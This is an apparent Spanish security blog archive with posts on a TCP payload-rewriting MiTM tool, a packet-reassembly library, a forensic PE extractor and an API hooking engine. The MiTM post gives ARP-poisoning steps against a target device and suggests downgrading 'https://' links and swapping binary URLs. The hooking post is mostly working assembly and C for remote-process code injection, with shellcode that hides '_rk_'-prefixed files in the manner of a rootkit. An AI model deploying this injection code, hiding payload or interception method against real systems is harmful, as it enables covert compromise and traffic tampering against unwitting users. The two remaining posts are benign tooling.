Archive

Archive for the ‘Proyectos’ Category

MiTM Replace / Jugando entre capas

October 24th, 2012 No comments

En este post me gustaría presentaros una herramienta y dar algunos ejemplos para jugar un poco con los protocolos Ethernet y TCP/IPv4 (en adelante TCP), en concreto para hacer Ethernet Forwarding y modificar el payload de los segmentos TCP.

La herramienta en cuestión está disponible en https://github.com/sch3m4/mitmreplace.

Nota: De aquí en adelante supondremos que estamos trabajando sobre redes Ethernet.

Como es sabido, la tarea más básica de cualquier router que se precie, es el de interconectar distintas redes. Esta tarea se lleva a cabo (simplificando) cambiando la cabecera Ethernet (origen y destino) así como la cabecera IP, guardándo las “equivalencias” en una tabla en la memoria del dispositivo.

De manera casi similar funcionan los puentes de red, cuya tarea seŕia la de unir varias redes en una, pero sin realizar los cambios de ambas cabeceras (lo que sí hace un router).
La herramienta en cuestión realiza un “mix” entre estos dos modos de funcionamiento, actúa como un puente de red entre una o más redes, ofreciendo la posibilidad de manipular el payload de los segmentos TCP.

Q: ¿Un puente sobre una única red?
A: Sí, dependiendo de los entornos que veremos a continuación trabajaremos sobre una red o sobre dos.

La idea para poder realizar esto, es lanzar la herramienta sobre una red en la que controlemos el tráfico, ¿cómo lo conseguimos? Pues entre otras opciones, tenemos el envenenamiento ARP y montar un punto de acceso falso. Por ello, si hacemos envenenamiento ARP trabajaremos sobre una única red, y si optamos por montar el punto de acceso trabajaremos con dos redes.

Veamos una imagen para ver más claro cómo funciona la herramienta en cada uno de estos entornos:

Nota: Las siguiente imagen no se corresponde con una arquitectura de red real, solo pretende mostrar el flujo de datos.

En esta figura se puede ver el flujo de datos entre los PCs 4 y 5 siendo víctimas de un envenenamiento ARP por el PC 3, por lo que estos tres equipos están en el mismo segmento de red y solo disponen de una interfaz de red.

Es importante cuando ejecutemos la herramienta, desactivar el IP Forwarding en el sistema, ya que será la propia herramienta quien realice esta tarea. Otro detalle importante es que la herramienta no realiza NAT, por lo que debemos estar preparados para enrutar el tráfico sobre las IPs que a priori desconozcamos.

Si por el contrario hemos montado un punto de acceso (siendo nosotros el PC-3) tendremos dos interfaces, una interface por la que enrutar el tráfico de los clientes (modificado o no) y otra interface (Wireless) donde se conectarán los clientes.

Dicho esto, vamos a comenzar con algunos ejemplos sobre la herramienta en cada uno de estos entornos.

Lo primero como siempre, es descargarnos la herramienta:

$ git clone git://github.com/sch3m4/mitmreplace.git
Cloning into ‘mitmreplace’…
remote: Counting objects: 56, done.
remote: Compressing objects: 100% (43/43), done.
remote: Total 56 (delta 12), reused 55 (delta 11)
Receiving objects: 100% (56/56), 286.47 KiB | 117 KiB/s, done.
Resolving deltas: 100% (12/12), done.

A continuación entramos en el directorio y compilamos (necesitaremos las siguientes librerías: glib-2.0, xml2, pcap):

$ ./configure && make
checking for a BSD-compatible install… /usr/bin/install -c
(…)
config.status: creating Makefile
config.status: creating src/Makefile
config.status: creating config.h
config.status: config.h is unchanged
config.status: executing depfiles commands
(CDPATH=”${ZSH_VERSION+.}:” && cd . && /bin/bash /home/sch3m4/mitmreplace/missing –run autoheader)
rm -f stamp-h1
touch config.h.in
cd . && /bin/bash ./config.status config.h
config.status: creating config.h
config.status: config.h is unchanged
make  all-recursive
make[1]: se ingresa al directorio `/home/sch3m4/mitmreplace’
Making all in src
make[2]: se ingresa al directorio `/home/sch3m4/mitmreplace/src’
gcc  -g -O2   -o mitmreplace mitmreplace-checksum.o mitmreplace-forward.o mitmreplace-main.o mitmreplace-patterns.o mitmreplace-replace.o  -lglib-2.0 -lpcap -lxml2 -lpthread
make[2]: se sale del directorio `/home/sch3m4/mitmreplace/src’
make[2]: se ingresa al directorio `/home/sch3m4/mitmreplace’
make[2]: se sale del directorio `/home/sch3m4/mitmreplace’
make[1]: se sale del directorio `/home/sch3m4/mitmreplace’

Y tendremos la herramienta lista para ser ejecutada:

Su uso es bastante intuitivo, los parámetros “ingw” y “outgw” corresponden a las direcciones MAC de los gateways legítimos tanto de entrada como de salida, para que el equipo que recibe los datos modificados “crea” que provienen del dispositivo legítimo.

El objetivo en este caso va a ser un dispositivo Android que visitará http://safetybits.net Y lanzaremos la herramienta de manera que reemplazará todas las coincidencias de “libntoh” por “l33t.0f”, este es el contenido legítimo que el objetivo visualizaría:

Para llevar a cabo este “ataque” la herramienta dispone de un archivo donde introduciremos los datos que queremos reemplazar. Este archivo es un XML donde especificaremos la cadena a encontrar y la cadena por la que será reemplazada. Si una de estas dos cadenas deben ser tratadas como datos binarios, debe indicarse mediante un atributo que pondremos a “1″ o “0″ en función de si alguna de las cadenas deben ser tratadas como datos binarios respectivamente, en cuyo caso las representaremos en hexadecimal.

El archivo en cuestión tiene el siguiente formato, y para este ejemplo no necesitaremos modificarlo pues ya tiene los reemplazos que necesitamos:

Como se puede ver, reemplazaremos “Acept-Encoding: gzip” por “Accept-Encoding: text” para poder acceder a la respuesta en bruto (sin comprimir). El siguiente patrón es el que realmente cambiará el texto que necesitamos.

Por lo tanto (como se aprecia en la imagen), debemos crear una entrada en este archivo siguiendo el formato estipulado por cada reemplazo que queramos realizar.

Lo primero que vamos a realizar es un envenenamiento ARP de un cliente (192.168.1.45), haciendo uso de arpspoof:

Lo siguiente (no necesariamente en este orden) es desactivar el IP Forwarding, para ello usamos sysctl:

Con nuestro escenario preparado, solo necesitamos lanzar la herramienta indicándole la puerta de enlace legítima y la interfaz que vamos a utilizar:

A partir de ahora, será la herramienta quien realice el forwarding para mantener el acceso a la red del objetivo, y cada vez que encuentre un segmento TCP en el que exista alguna coincidencia con los datos especificados a través del fichero XML, lo sustituirá y enviará el segmento de vuelta a la red, causando el siguiente salida y efecto en el cliente:

Ha de quedar claro que la herramienta “no entiende” de protocolos de aplicación, el reemplazo solo se realiza en segmentos TCP, y como probáblemente más de uno se ha dado cuenta, las cadenas “libntoh” y “l33t.0f” tienen la misma longitud, ¿Por qué? La respuesta es bastante simple, si intentamos reemplazar “aabbcc” por “ABC” el resultado será “ABCbcc”. Esto es así, por la limitación del MSS, ya que de sobrepasarlo habría que enviar otro segmento TCP, y de cualquier modo, si modificamos la longitud del segmento, habría que ajustar el número de secuencia en dicho punto de la conexión, lo que desestabilizaría la conexión ya que no estamos haciendo de proxy a nivel TCP.

Con esto ya podemos “jugar” cambiando URLs de javascripts, imágenes, PDFs, binarios, “https://” por ” http://” (fíjate que hay un espacio ;-) ), etc.

libntoh @ GitHub

December 7th, 2011 No comments

Hace mucho tiempo que no escribo, y esta vez lo hago para presentar un proyecto personal que he decidido publicar.

Este proyecto es una librería escrita en C, que pretende agregar una capa más para determinadas aplicaciones de red, agregando las funcionalidades de desfragmentación de datagramas IPv4 y reensamblado de segmentos TCP.

El motivo que me ha llevado a escribir y publicar esta librería, es que las posibles opciones que se toman cuando se intentan realizar estas tareas son usar libnids o escribir una implementación propia. Esto no es problema para una sola aplicación, pero extrapolando el “problema” tenemos muchas implementaciones diferentes que realizan la misma tarea. En el caso de libnids, el primer problema viene con la licencia (GPL), otro problema viene con la concurrencia, otro inconveniente es la poca flexibilidad que ofrece (a costa de intentar dar usabilidad al usuario), ya que si usamos libnids obligatoriamente no podremos salirnos de las capas de enlace soportadas por la librería, no podremos gestionar las conexiones de manera individual, etc.

Por todo esto y algunos motivos más, me decidí a comenzar este proyecto. Aunque la versión actual (0.3a) es una “Alpha” se comporta bastante bien según las pruebas que he realizado, realizando correctamente  el reensamblado de segmentos TCP y la desfragmentación de datagramas IPv4.

Dado que es una versión “Alpha” puede que tenga fallos, así que si encuentras alguno o ves alguna incongruencia, ¡notifícala!.

URL: [email protected] [email protected]

Categories: C/C++, libntoh, Programacion, Proyectos, Red, UNIX Tags:

PExtractor v0.2 Stable Released

October 31st, 2008 No comments

Proyecto bajo licencia GPLv3 destinado a la informática forense.

El objetivo es crear una herramienta capaz de detectar y extraer los ficheros ejecutables (PE) contenidos en un fichero, para facilitar su posterior análisis por separado.

Tipos de archivos soportados: PE (EXE,DLL)

Mejoras de la version 0.2 Stable Release

  • Código más optimizado y estructurado
  • Traducido al estándar C POSIX
  • Funcionamiento independiente de la plataforma
  • Algunos bugs corregidos

PExtractor v.02 – Análisis y extracción sobre MS Windows

PExtractor v0.2 – Debian GNU/Linux

PExtractor v0.2 – Análisis y extracción sobre Debian GNU/Linux (1/2)

PExtractor v0.2 – Análisis y extracción sobre Debian GNU/Linux (2/2)

Descarga de binarios y source: https://sourceforge.net/projects/pextractor/

URAHE – Universal Ring3 API Hooking Engine

October 31st, 2008 No comments

URAHE es una librería escrita en ensamblador, con el objetivo de suplantar funciones en la memoria de otro proceso en tiempo de ejecución, ya sean internas del programa o de librerías externas, utilizando el metodo “Detour Hooking” (Link2).

Básicamente lo que hace es leer de un proceso la función proxy que queremos que reemplace a la función original, y la escribe en el proceso remoto, junto con el buffer para usar la función original una vez enganchada.

Solo tiene una función exportada (HookMemory), a la que se le pasan por parámetros los datos necesarios mediante una estructura del tipo:

typedef struct _HOOK_
{
	//Pid del que obtener la función proxy
	unsigned int	PidOrigen;
	//Pid objetivo
	unsigned int    PidDestino;
	//Offset de la función proxy en la memoria del proceso ‘PidOrigen’
	DWORD           OffsetFProxy;
	//Tamaño de la función proxy
	DWORD           TamFProxy;
	//La función objetivo, ¿Es interna o externa?
	BOOL            FuncionInterna;
	//Indicamos la dirección en la memoria del
	//proceso objetivo en caso de ser interna
	DWORD           DireccionFInterna;
	//Si es externa, indicamos el nombre de la función
	const char      *Funcion;
	//Y la librería en la que se encuentra
	const char      *Libreria;
	//Número de bytes para realizar el hook
	DWORD           Bytes;
	//La dirección base de la librería kernel32.dll
	DWORD           BaseKernel;
	//Offset de la funcion ‘GetProcAddress’
	DWORD           OffsetGPA;
}Hook;

Y devuelve un puntero a una estructura con los resultados, indicando el codigo de error (0 si no lo hay), la descripción, y la descripción del SO. Esta estructura es del tipo:

typedef struct _ERROR_HOOK_
{
	DWORD    Codigo;//Codigo de retorno
	char    *Mensaje;//Mensaje de la libreria (en caso de error)
	char    *MensajeSistema;//Mensaje del SO (en caso de error)
}*ERROR_HOOK;

A continuación, dejo el código fuente de el programa en C que usa esta librería, y el código en ensamblador de la misma:

ejemplo.c

#include 
#include 

typedef struct _HOOK_
{
	//Pid del que obtener la función proxy
	unsigned int	PidOrigen;
	//Pid objetivo
	unsigned int    PidDestino;
	//Offset de la función proxy en la memoria del proceso ‘PidOrigen’
	DWORD           OffsetFProxy;
	//Tamaño de la función proxy
	DWORD           TamFProxy;
	//La función objetivo, ¿Es interna o externa?
	BOOL            FuncionInterna;
	//Indicamos la dirección en la memoria del
	//proceso objetivo en caso de ser interna
	DWORD           DireccionFInterna;
	//Si es externa, indicamos el nombre de la función
	const char      *Funcion;
	//Y la librería en la que se encuentra
	const char      *Libreria;
	//Número de bytes para realizar el hook
	DWORD           Bytes;
	//La dirección base de la librería kernel32.dll
	DWORD           BaseKernel;
	//Offset de la funcion ‘GetProcAddress’
	DWORD           OffsetGPA;
}Hook;

typedef struct _ERROR_HOOK_
{
	DWORD    Codigo;//Codigo de retorno
	char    *Mensaje;//Mensaje de la libreria (en caso de error)
	char    *MensajeSistema;//Mensaje del SO (en caso de error)
}*ERROR_HOOK;

typedef ERROR_HOOK(CHook)(_HOOK_);

/****************************************************************/
/** HOOK FindNextFileW PAYLOAD - OCULTA FICHEROS Y DIRECTORIOS **/
/**                    CON EL PREFIJO "_rk_"                   **/
/**============================================================**/
/**                       SIZE: 99 Bytes                       **/
/****************************************************************/
/*
Thanks to MazarD ;)

//ANSI Version
BOOL __stdcall FindNext(HANDLE hFindFile,LPWIN32_FIND_DATA lpFindFileData)
{
	BOOL (__stdcall *pBuffFN) (HANDLE hFindFile,LPWIN32_FIND_DATA lpFindFileData);
    void *p;

	p=0;

	pBuffFN=(BOOL (__stdcall*)(HANDLE,LPWIN32_FIND_DATA))p;
	return (pBuffFN)(hFindFile,lpFindFileData);
}*/
const static char payload[]=  "\x55\x89\xE5\x83\xEC\x18\xC7\x45\xF4\x00\x00\x00\x00"
                              "\x8B\x45\xF4\x89\x45\xFC\x8B\x45\x0C\x89\x44\x24\x04"
                              "\x8B\x45\x08\x89\x04\x24\x8B\x45\xFC\xFF\xD0\x83\xEC"
                              "\x08\x89\x45\xF8\x8B\x45\x0C\x66\x83\x78\x2C\x5F\x75"
                              "\x26\x8B\x45\x0C\x66\x83\x78\x32\x5F\x75\x1C\x8B\x45"
                              "\x0C\x66\x83\x78\x2E\x72\x75\x12\x8B\x45\x0C\x66\x83"
                              "\x78\x30\x6B\x75\x08\x83\x7D\xF8\x00\x74\x02\xEB\xB8"
                              "\x8B\x45\xF8\xC9\xC2\x08\x00";

int main()
{
	HMODULE     dll;
	FARPROC	    f,OffsetGPA;
	CHook	    *func;
	ERROR_HOOK  ret;
	Hook        datos;

 	dll=LoadLibrary("C:\\dll_hooking.dll");
	if(dll)
 	{
			f=GetProcAddress(dll,"HookMemory");
			datos.BaseKernel=(DWORD)GetModuleHandle("kernel32.dll");
			datos.OffsetGPA=(DWORD)GetProcAddress((HINSTANCE)datos.BaseKernel,"GetProcAddress");
			if(f && datos.BaseKernel && datos.OffsetGPA)
            		{
				printf("PID: ");
				scanf("%d",&datos.PidDestino);
				datos.PidOrigen=GetCurrentProcessId();
				datos.FuncionInterna=FALSE;
				//datos.FuncionInterna=TRUE;
				//datos.DireccionFInterna=0x401290;
				datos.Funcion="FindNextFileW";
				datos.Libreria="kernel32.dll";
				datos.OffsetFProxy=(DWORD)payload;
				datos.TamFProxy=sizeof(payload);
				datos.Bytes=7;

					func=(CHook*)f;
					ret=func(datos);

				if(ret->Codigo==0)
				{
					puts("OK");
				}else
				printf("\nError: %d\nDescripcion: %s\nSistema: %s",
				ret->Codigo,ret->Mensaje,ret->MensajeSistema);
        		}
	}

	system("pause");
	return 0;
}

urahe.asm

format PE GUI 4.0 DLL
entry DllEP
include 'c:\fasm\include\win32a.inc'

struct ERROR_HOOK
       Codigo:dd                0;codigo del error
       Mensaje:dd               0;offset del mensaje
       MensajeTecnico:dd        0;offset del mensaje devuelto por el sistema
ends

section '.data' data readable writeable
Error                           ERROR_HOOK      0

errores:
ErrorAbrirProcOrigenCod         dd              1
ErrorAbrirProcOrigenStr         db              'Error al abrir el proceso origen',0
ErrorAbrirProcDestinoCod        dd              2
ErrorAbrirProcDestinoStr        db              'Error al abrir el proceso objetivo',0
LibNoEncontradaCod              dd              3
LibNoEncontradaStr              db              'Libreria no encontrada',0
FuncNoEncontradaCod             dd              4
FuncNoEncontradaStr             db              'Funcion no encontrada',0
ErrorCrearSaltoCod              dd              5
ErrorCrearSaltoStr              db              'Error al crear el buffer para redirigir',0
ErrorInyectarBufferCod          dd              6
ErrorInyectarBufferStr          db              'Error al inyectar el buffer para redirigir',0
ErrorCrearBufferFProxyCod       dd              7
ErrorCrearBufferFProxyStr       db              'Error al copiar la funcion para suplantar',0
ErrorInyectarFuncionCod         dd              8
ErrorInyectarFuncionStr         db              'Error al inyectar la funcion para suplantar',0
ErrorNoHayCerosCod              dd              9
ErrorNoHayCerosStr              db              'No se encontro ningun cero en la funcion para suplantar (void p=0;)',0
ErrorEscribirMemoriaCod         dd              10
ErrorEscribirMemoriaStr         db              'Error al escribir en la funcion para suplantar',0
ErrorCrearBufferGanchoCod       dd              11
ErrorCrearBufferGanchoStr       db              'Error al crear la funcion puente',0
ErrorEscribirSaltoCod           dd              12
ErrorEscribirSaltoStr           db              'Error al escribir el salto para redirigir',0
db '-',0
error_desconocido:
ErrorDesconocidoCod             dd              0xffffffff
ErrorDesconocidoStr             db              'Error desconocido',0

section '.code' code readable writeable executable

;por comodidad
OpenProcess             equ dword [Offsets]
CloseHandle             equ dword [Offsets+4]
LocalAlloc              equ dword [Offsets+8h]
LocalFree               equ dword [Offsets+0Ch]
VirtualAllocEx          equ dword [Offsets+10h]
VirtualFreeEx           equ dword [Offsets+14h]
ReadProcessMemory       equ dword [Offsets+18h]
WriteProcessMemory      equ dword [Offsets+1Ch]
LoadLibrary             equ dword [Offsets+20h]
GetProcAddress          equ dword [Offsets+24h]
RtlMoveMemory           equ dword [Offsets+28h]
VirtualProtectEx        equ dword [Offsets+2Ch]
GetLastError            equ dword [Offsets+30h]
SetLastError            equ dword [Offsets+34h]
FormatMessage           equ dword [Offsets+38h]

proc DllEP hinstDLL,fdwReason,lpvReserved
mov eax,1
ret
endp

firma:
db '---------------',0
db '   Universal   ',0
db '   Ring3 API   ',0
db 'Hooking Engine ',0
db '     v1.7      ',0
db '    by sch3m4  ',0
db '---------------',0

proc Errores Codigo
mov eax,[Codigo]

lea esi,dword [errores]

busca_error:
cmp eax,dword [esi]
je guardar_error;si coinciden, tenemos la cadena en edi+4h
cmp byte [esi],'-'
je error_no_encontrado
add esi,4h

sig_error:;buscamos el siguiente error
inc esi
cmp byte [esi],0
jne sig_error
inc esi
jmp busca_error

error_no_encontrado:
lea esi,dword [error_desconocido-4h]

;almacenamos el error en la estructura
guardar_error:
add esi,4h
mov [Error+4h],esi

;obtenemos el último error y lo formateamos
call GetLastError
mov [Error],eax
mov ebx,0x00000100;FORMAT_MESSAGE_ALLOCATE_BUFFER
or ebx,0x00001000;FORMAT_MESSAGE_FROM_SYSTEM
or ebx,0x00000200;FORMAT_MESSAGE_IGNORE_INSERTS
lea esi,[Error+8h]
push 0
push 0
push esi
push 0x400;MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT)
push eax
push 0
push ebx
call FormatMessage
push 0
call SetLastError
ret
endp

;################################################################################
;##            LEE "Size" BYTES DE UN PROCESO Y LOS ESCRIBE EN OTRO            ##
;##============================================================================##
;##    DEVUELVE EL OFFSET DE LOS DATOS EN EL PROCESO REMOTO, O 0 SI HUBO ERROR ##
;################################################################################
proc InyectarCodigo hProc,Bufer,Size
local mProceso:dd     ?;direccion en la que hemos reservado memoria, en el proceso

;RESERVAMOS MEMORIA EN EL PROCESO PARA ESCRIBIR
mov eax,0x2000 ;MEM_RESERVE
or eax,0x1000 ;MEM_COMMIT
push 0x40
push eax
push [Size]
push 0
push [hProc]
call VirtualAllocEx
or eax,0
je salida_inyectar
mov dword [mProceso],eax

;ESCRIBIMOS EN EL PROCESO
push 0
push [Size]
push [Bufer]
push dword [mProceso]
push [hProc]
call WriteProcessMemory
or eax,0
je libera
mov eax,dword [mProceso]
ret

libera:
        push 0x4000
        push [Size]
        push dword [mProceso]
        push [hProc]
        call VirtualFreeEx
        mov eax,0

salida_inyectar:
ret
endp

;######################################################
;## FUNCIÓN QUE REEMPLAZA LOS DATOS DE UNA DIRECCIÓN ##
;##    DE MEMORIA, POR UN SALTO A OTRA DIRECCIÓN     ##
;######################################################
proc Engancha hProceso1,hProceso2,Direccion,DirFProxy,TamFProxy,Bytes
locals
        Buffer:dd               ?;offset a un buffer que usaremos como puente
        dFProxy:dd              ?;offset de la funcion proxy inyectada en el proceso final
        DirBufferFuncion:dd     ?;offset del buffer válido para usar la función en el proceso remoto
        DirCeros:dd             ?;direccion de 0x00000000 en la funcion inyectada, para meter el offset del buffer
endl

;=====================================================================
;|| CREAMOS EL BUFFER CON EL QUE USAR LA FUNCION UNA VEZ ENGANCHADA ||
;=====================================================================
;reservamos la memoria necesaria (+6 bytes (push + offset + ret (1 + 4 + 1)),para volver a la función)
mov eax,[Bytes]
add eax,6
push eax
push 0x40
call LocalAlloc
or eax,0
jne copiar_bytes
    push [ErrorCrearSaltoCod]
    call Errores
    ret

;copiamos los bytes necesarios de la funcion original al buffer
copiar_bytes:
mov [Buffer],eax
push 0
push [Bytes]
push dword [Buffer]
push [Direccion]
push [hProceso1]
call ReadProcessMemory

;añadimos el salto a la funcion original (en vez de jmp usamos push offset, ret)
mov eax,[Buffer]
add eax,[Bytes]
mov byte [eax],0x68 ;En vez de hacer un jmp, hacemos push offset, ret
inc eax
mov ebx, [Direccion]
add ebx, [Bytes]
mov dword [eax],ebx
add eax,4
mov byte [eax],0xC3

;========================================
;|| INYECTAMOS EL BUFFER EN EL PROCESO ||
;========================================
mov ecx,dword [Bytes]
add ecx,6
push ecx
push dword [Buffer]
push dword [hProceso2]
call InyectarCodigo
or eax,0
jne leer_funcion_proxy
    push dword [Buffer]
    call LocalFree
    push [ErrorInyectarBufferCod]
    call Errores
    ret

;===========================================================================
;|| LEEMOS,MODIFICAMOS E INYECTAMOS LA FUNCION PROXY EN EL PROCESO REMOTO ||
;===========================================================================
leer_funcion_proxy:
mov [DirBufferFuncion],eax;direccion del buffer en el proceso remoto, para poder usar la funcion una vez enganchada
;leemos e inyectamos la funcion proxy
push dword [Buffer]
call LocalFree
push [TamFProxy]
push 0x40
call LocalAlloc
push eax
push 0
push dword [TamFProxy]
push eax
push [DirFProxy]
push [hProceso1]
call ReadProcessMemory
or eax,0
jne buscar_ceros
        mov ecx,dword [Bytes]
        add ecx,6
        push 0x4000
        push ecx
        push dword [DirBufferFuncion]
        push [hProceso2]
        call VirtualFreeEx
        push [ErrorCrearBufferFProxyCod]
        call Errores
        ret

buscar_ceros:
pop eax
mov [Buffer],eax
lea esi,dword [eax]
xor ecx,ecx
mov ebx,[TamFProxy]
    cBuscar:
    cmp dword [esi],0
    je meter_offset
    cmp ecx,ebx
    je cNoEncontrados
    inc esi
    inc ecx
    jmp cBuscar

    cNoEncontrados:
        mov ecx,dword [Bytes]
        add ecx,6
        push 0x8000 ;MEM_RELEASE
        push ecx
        push dword [DirBufferFuncion]
        push dword [hProceso2]
        call VirtualFreeEx
        push dword [Buffer]
        call LocalFree
        push [ErrorNoHayCerosCod]
        call Errores
        ret

meter_offset:
mov eax,dword [DirBufferFuncion]
mov [esi],eax

inyectar_fproxy:
push dword [TamFProxy]
push dword [Buffer]
push dword [hProceso2]
call InyectarCodigo
or eax,0
jne crear_gancho
        push dword [Buffer]
        call LocalFree
        push 0x4000
        push [TamFProxy]
        push dword [DirBufferFuncion]
        push [hProceso2]
        call VirtualFreeEx
        mov ecx,dword [Bytes]
        add ecx,6
        push 0x4000
        push ecx
        push dword [DirBufferFuncion]
        push [hProceso2]
        call VirtualFreeEx
        push [ErrorInyectarFuncionCod]
        call Errores
        ret

;=====================================================
;|| CREAMOS Y GRABAMOS EL BUFFER QUE CREA EL GANCHO ||
;=====================================================
crear_gancho:
mov [dFProxy],eax
push dword [Buffer]
call LocalFree
push [Bytes]
push 0x40
call LocalAlloc
or eax,0
jne crear_buffer_gancho
    mov ecx,dword [Bytes]
    add ecx,6
    push 0x8000 ;MEM_RELEASE
    push ecx
    push dword [DirBufferFuncion]
    push dword [hProceso2]
    call VirtualFreeEx
    mov ecx,dword [Bytes]
    add ecx,6
    push 0x4000
    push ecx
    push dword [DirBufferFuncion]
    push [hProceso2]
    call VirtualFreeEx
    push dword [Buffer]
    call LocalFree
    push [ErrorCrearBufferGanchoCod]
    call Errores
    ret

crear_buffer_gancho:
;llenamos el buffer de 0xC3 (ret)
mov [Buffer],eax
mov ebx,eax
xor ecx,ecx
ceros:
mov eax,dword [Buffer]
add eax,ecx
mov byte [eax],0xC3
inc ecx
cmp ecx,[Bytes]
jne ceros

;creamos el salto en el buffer
mov eax,ebx
mov byte [eax],0xE9
inc eax
mov ebx,dword [dFProxy]
sub ebx,dword [Direccion]
sub ebx,5;5 = jmp + offset
mov dword [eax],ebx

;escribimos el salto
push 0
push [Bytes]
push dword [Buffer]
push dword [Direccion]
push dword [hProceso2]
call WriteProcessMemory
or eax,0
jne exito
    mov ecx,dword [Bytes]
    add ecx,6
    push 0x8000 ;MEM_RELEASE
    push ecx
    push dword [DirBufferFuncion]
    push dword [hProceso2]
    call VirtualFreeEx
    mov ecx,dword [Bytes]
    add ecx,6
    push 0x4000
    push ecx
    push dword [DirBufferFuncion]
    push [hProceso2]
    call VirtualFreeEx
    push dword [Buffer]
    call LocalFree
    push [ErrorEscribirSaltoCod]
    call Errores
    ret

exito:
mov dword [Error],0
mov dword [Error+4],0
mov dword [Error+8],0
push dword [Buffer]
call LocalFree
ret
endp

;##############################################################################################################
;## FUNCIÓN PARA REDIRIGIR LA LLAMADA A UNA FUNCIÓN (INTERNA O EXTERNA) EN UN PROCESO, HACIA NUESTRA FUNCION ##
;##==========================================================================================================##
;##                           DEVUELVE EL CÓDIGO DEL ERROR (0 SI NO HUBO NINGUNO)                            ##
;##############################################################################################################
proc HookMemory
locals
        hProcesoFinal:dd        ?;handle del proceso a hookear
        hProcesoOrigen:dd       ?;handle del proceso del que leer los datos
        Direccion:dd            ?;Direccion en la que insertar el salto
        Buffers:db              ?
        ;PARAMETROS PASADOS POR LA PILA
        Parametros:
        dd 11 dup(0)

endl

;ALMACENAMOS LOS PARAMETROS DE LA PILA
PidOrigen               equ     dword [Parametros]
PidFinal                equ     dword [Parametros+4]
OffsetFuncionProxy      equ     dword [Parametros+8]
SizeFProxy              equ     dword [Parametros+0Ch]
FuncionInterna          equ     dword [Parametros+10h]
DireccionFInterna       equ     dword [Parametros+14h]
Funcion                 equ     dword [Parametros+18h]
Libreria                equ     dword [Parametros+1Ch]
Bytes                   equ     dword [Parametros+20h]
BaseKernel              equ     dword [Parametros+24h]
OffsetGPA               equ     dword [Parametros+28h]

lea esi,[Parametros];guardar los parametros
mov ebx,ebp;base de la pila
add ebx,8
lea edi,[ebx]
add ebx,28h;limite de la pila

sacar_parametros:
        cmp edi,ebx
        jg comienza
        mov eax,dword [edi]
        mov dword [esi],eax
        add esi,4
        add edi,4
        jmp sacar_parametros

comienza:
;sacamos las apis
lea edi,dword [APIs]
lea esi,dword [Offsets]
sacar_apis:
push edi
push BaseKernel
call OffsetGPA
mov [esi],eax
;nos vamos a la siguiente api
siguiente:
cmp byte [edi],0
je sigue
inc edi
jmp siguiente
sigue:
add esi,4
inc edi
cmp byte [edi],'-'
jne sacar_apis

;=======================================================
;|| CARGAMOS EL PROCESO DEL QUE LEER LA FUNCION PROXY ||
;=======================================================
push PidOrigen
push 0
push 0x10 ;PROCESS_VM_READ
call OpenProcess
or eax,0
jne carga_pfinal
push ErrorAbrirProcOrigenCod
call Errores
ret

carga_pfinal:
mov dword [hProcesoOrigen],eax
;===================================================
;|| CARGAMOS EL PROCESO AL QUE REALIZAR EL GANCHO ||
;===================================================
mov eax, 0x20 ;PROCESS_VM_WRITE
or eax,0x8 ;PROCESS_VM_OPERATION
or eax,0x10;PROCESS_VM_READ
push PidFinal
push 0
push eax
call OpenProcess
or eax,0
jne calcular_direccion
push [ErrorAbrirProcDestinoCod]
call Errores
mov eax,Error
ret

calcular_direccion:
mov [hProcesoFinal],eax
;==========================================================
;|| MIRAMOS SI TENEMOS QUE SUPLANTAR UNA FUNCION INTERNA ||
;==========================================================
cmp FuncionInterna,0
je funcion_externa
mov eax,DireccionFInterna
jmp suplantar_direccion

funcion_externa:;Obtenemos la dirección de la función externa a suplantar
        push Libreria
        call LoadLibrary
        or eax,0
        jne buscar_funcion
        push dword [hProcesoFinal]
        call CloseHandle
        push dword [hProcesoOrigen]
        call CloseHandle
        ;almacenamos los datos del error y salimos
        push [LibNoEncontradaCod]
        call Errores
        mov eax,Error
        ret

        buscar_funcion:
                push Funcion
                push eax
                call GetProcAddress
                or eax,0
                jne suplantar_direccion
                push dword [hProcesoFinal]
                call CloseHandle
                push dword [hProcesoOrigen]
                call CloseHandle
                push [FuncNoEncontradaCod]
                call Errores
                mov eax,Error
                ret

suplantar_direccion:
        mov [Direccion],eax
        push Bytes
        push SizeFProxy
        push OffsetFuncionProxy
        push dword [Direccion]
        push dword [hProcesoFinal]
        push dword [hProcesoOrigen]
        call Engancha
        push dword [hProcesoFinal]
        call CloseHandle
        push dword [hProcesoOrigen]
        call CloseHandle
        mov eax,Error
        ret
endp

;Funciones del kernel
APIs:
db 'OpenProcess',0
db 'CloseHandle',0

db 'LocalAlloc',0
db 'LocalFree',0
db 'VirtualAllocEx',0
db 'VirtualFreeEx',0
db 'ReadProcessMemory',0
db 'WriteProcessMemory',0
db 'LoadLibraryA',0
db 'GetProcAddress',0
db 'RtlMoveMemory',0
db 'VirtualProtectEx',0
db 'GetLastError',0
db 'SetLastError',0
db 'FormatMessageA',0
db '-',0

;offset almacenamos
Offsets:
dd 15 dup(0)

section '.edata' export data readable
  export 'dll_hooking.dll',\
         HookMemory,'HookMemory'

section '.reloc' fixups data discardable

En el código “ejemplo.c” están almacenados en la variable “payload” los códigos de operación de la función que suplantará a la original en el proceso remoto. En este caso, la versión UNICODE de “FindNextFile” (“FindNextFileW“). Si nos fijamos en el código comentado de la función “FindNext” y en los códigos de operación de la función proxy del ejemplo anterior, vemos:

OpCodes:

"\x55\x89\xE5\x83\xEC\x18\xC7\x45\xF4\x00\x00\x00\x00"

Código Función Proxy:

void *p; p=0;

Como es obvio, ese “p=0;” son los ceros que hay en la primera linea de los códigos de operación, y es vital que sean el primer grupo de ceros de la función, ya que va a ser en esos ceros donde la librería va a escribir la dirección del buffer para poder usar la función suplantada.

IMPORTANTE: Si os fijáis, para obtener la dirección de la función que se quiere enganchar, uso “LoadLibrary” en vez de “GetModuleHandle”, ya que la dirección de la función se obtiene en nuestro proceso, por lo que debemos de estar seguros de que la función que queremos suplantar (en caso de que sea una función externa), esté realmente cargada en el proceso. Para comprobar que está cargada en memoria, tendríamos dos opciones: O bien leer la IAT del ejecutable (en caso de que se enlace estáticamente con la función), o bien (si se enlaza dinámicamente) se podría insertar un payload en el proceso remoto que intentara acceder a la dirección de memoria en la que debería encontrarse la función, y comparar los códigos de operación (los N primeros) con los de la función a enganchar.

